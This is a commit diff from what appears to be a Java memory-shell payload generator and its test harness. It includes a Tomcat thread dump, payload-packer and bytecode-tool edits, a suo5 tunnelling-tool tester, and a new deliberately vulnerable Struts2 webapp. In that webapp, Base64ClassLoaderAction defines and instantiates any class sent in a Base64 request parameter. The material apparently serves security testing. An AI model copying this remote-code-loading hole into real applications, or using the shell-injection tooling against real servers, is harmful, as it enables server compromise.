at org.apache.catalina.core.StandardServer.await(StandardServer.java:468)
at org.apache.catalina.startup.Catalina.await(Catalina.java:730)
at org.apache.catalina.startup.Catalina.start(Catalina.java:678)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476)
"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
"http-nio-8080-Poller" #27 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713)
at java.lang.Thread.run(Thread.java:750)
===========================================
StackClassNames:
Base64ClassLoaderAction
com.fasterxml.jackson.ZsoNQ.ErrorHandler
com.opensymphony.xwork2.DefaultActionInvocation
com.opensymphony.xwork2.interceptor.AliasInterceptor
com.opensymphony.xwork2.interceptor.ChainingInterceptor
com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor
com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor
com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor
com.opensymphony.xwork2.interceptor.ParametersInterceptor
com.opensymphony.xwork2.interceptor.PrepareInterceptor
com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor
com.opensymphony.xwork2.interceptor.StaticParametersInterceptor
com.opensymphony.xwork2.ognl.OgnlUtil
com.opensymphony.xwork2.ognl.OgnlUtil$3
com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor
com.opensymphony.xwork2.validator.ValidationInterceptor
ognl.ASTMethod
ognl.ObjectMethodAccessor
ognl.Ognl
ognl.OgnlRuntime
ognl.SimpleNode
org.apache.catalina.authenticator.AuthenticatorBase
org.apache.catalina.connector.CoyoteAdapter
org.apache.catalina.connector.CoyoteWriter
org.apache.catalina.core.ApplicationFilterChain
org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor
org.apache.catalina.core.StandardContextValve
org.apache.catalina.core.StandardEngineValve
org.apache.catalina.core.StandardHostValve
org.apache.catalina.core.StandardServer
org.apache.catalina.core.StandardWrapperValve
org.apache.catalina.startup.Bootstrap
org.apache.catalina.startup.Catalina
org.apache.catalina.valves.AbstractAccessLogValve
org.apache.catalina.valves.ErrorReportValve
org.apache.coyote.AbstractProcessorLight
org.apache.coyote.AbstractProtocol$AsyncTimeout
org.apache.coyote.AbstractProtocol$ConnectionHandler
org.apache.coyote.http11.Http11Processor
org.apache.struts2.dispatcher.Dispatcher
org.apache.struts2.dispatcher.ExecuteOperations
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
org.apache.struts2.factory.StrutsActionProxy
org.apache.struts2.interceptor.CheckboxInterceptor
org.apache.struts2.interceptor.DateTextFieldInterceptor
org.apache.struts2.interceptor.FileUploadInterceptor
org.apache.struts2.interceptor.I18nInterceptor
org.apache.struts2.interceptor.MultiselectInterceptor
org.apache.struts2.interceptor.ServletConfigInterceptor
org.apache.struts2.interceptor.debugging.DebuggingInterceptor
org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
org.apache.tomcat.util.net.Acceptor
org.apache.tomcat.util.net.NioEndpoint
org.apache.tomcat.util.net.NioEndpoint$Poller
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
org.apache.tomcat.util.net.SocketProcessorBase
org.apache.tomcat.util.threads.TaskQueue
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
org.apache.tomcat.util.threads.ThreadPoolExecutor
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
@@ -18,7 +18,6 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
/**
* Debug 信息打印移除器
* 目前仅支持移除以下几种
* <br />
* 1. System.out.println() - printf 还不支持
* 2. e.printStackTrace()
* 3. Logger.info (java.util)
@@ -47,7 +46,8 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace") && descriptor.equals("()V"))
|| (opcode == INVOKEVIRTUAL && owner.equals("java/lang/Throwable") && name.equals("printStackTrace") && descriptor.equals("()V"))
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
) {
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
@@ -16,7 +16,7 @@ public interface AggregatePacker extends Packer {
* 聚合打包当前所有分类下的 payload
*
* @param config 生成结果
* @return key -> 打包名称value -> 打包 payload
* @return key - 打包名称value - 打包 payload
*/
default Map<String, String> packAll(ClassPackerConfig config) {
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
@@ -8,7 +8,7 @@ import com.reajason.javaweb.packer.Packers;
/**
*
* @since 5.2.24SpEL 限制了长度为 10000常规的 Base64 编码已经不适用需要进一步使用 GZIP 压缩
* <a href="https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100">InternalSpelExpressionParser.java</>
* https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100
*
* @author ReaJason
* @since 2024/12/13
+2 -1
View File
@@ -36,6 +36,7 @@ include("vul:vul-webapp")
include("vul:vul-webapp-jakarta")
include("vul:vul-webapp-expression")
include("vul:vul-webapp-deserialize")
include("vul:vul-struct2")
include("vul:vul-springboot1")
include("vul:vul-springboot2")
include("vul:vul-springboot2-jetty")
@@ -47,4 +48,4 @@ include("vul:vul-playframework")
include("memshell-agent:memshell-agent-attacher")
include("memshell-agent:memshell-agent-asm")
include("memshell-agent:memshell-agent-javassist")
include("memshell-agent:memshell-agent-bytebuddy")
include("memshell-agent:memshell-agent-bytebuddy")
@@ -1,7 +1,5 @@
package com.reajason.javaweb.suo5;
import org.apache.commons.lang3.StringUtils;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.nio.file.Path;
@@ -15,6 +13,7 @@ import java.util.concurrent.*;
public class Suo5Manager {
public static final String suo5Command;
public static final String suo5v2Command;
static {
String os = System.getProperty("os.name").toLowerCase();
@@ -29,17 +28,19 @@ public class Suo5Manager {
pwd = pwd.getParent();
}
suo5Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5-" + osType + "-" + osArch)).toAbsolutePath().toString();
suo5v2Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5v2-" + osType + "-" + osArch)).toAbsolutePath().toString();
}
public static void main(String[] args) {
System.out.println(suo5Command);
boolean test = test("http://localhost:8082/app/test", "test");
boolean test = test("", "http://localhost:8082/app/test", "test");
System.out.println(test);
}
public static boolean test(String targetUrl, String ua) {
public static boolean test(String shellTool, String targetUrl, String ua) {
String command = shellTool.endsWith("v2") ? suo5v2Command : suo5Command;
ProcessBuilder processBuilder = new ProcessBuilder(
suo5Command, "-debug", "-t", targetUrl, "--timeout", "5", "-ua", ua, "-H", "Referer: " + targetUrl
command, "-debug", "-t", targetUrl, "--timeout", "8", "-ua", ua, "-H", "Referer: " + targetUrl
);
processBuilder.redirectErrorStream(true);
ExecutorService executor = Executors.newSingleThreadExecutor();
+26
View File
@@ -0,0 +1,26 @@
plugins {
id("war")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation("org.apache.struts:struts2-core:2.5.30")
implementation("commons-fileupload:commons-fileupload:1.3.3")
implementation("commons-fileupload:commons-fileupload:1.3.3")
implementation("commons-beanutils:commons-beanutils:1.9.2")
providedCompile("javax.servlet:servlet-api:2.5")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,52 @@
import com.opensymphony.xwork2.ActionSupport;
import org.apache.struts2.ServletActionContext;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class Base64ClassLoaderAction extends ActionSupport {
private String data;
static byte[] decodeBase64(String base64Str) throws Exception {
try {
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception var4) {
Class<?> decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
public String execute() throws Exception {
try {
byte[] bytes = decodeBase64(data);
Object obj = reflectionDefineClass(bytes).newInstance();
ServletActionContext.getResponse().getWriter().print(obj);
return null;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public String getData() {
return data;
}
public void setData(String data) {
this.data = data;
}
}

Some files were not shown because too many files have changed in this diff Show More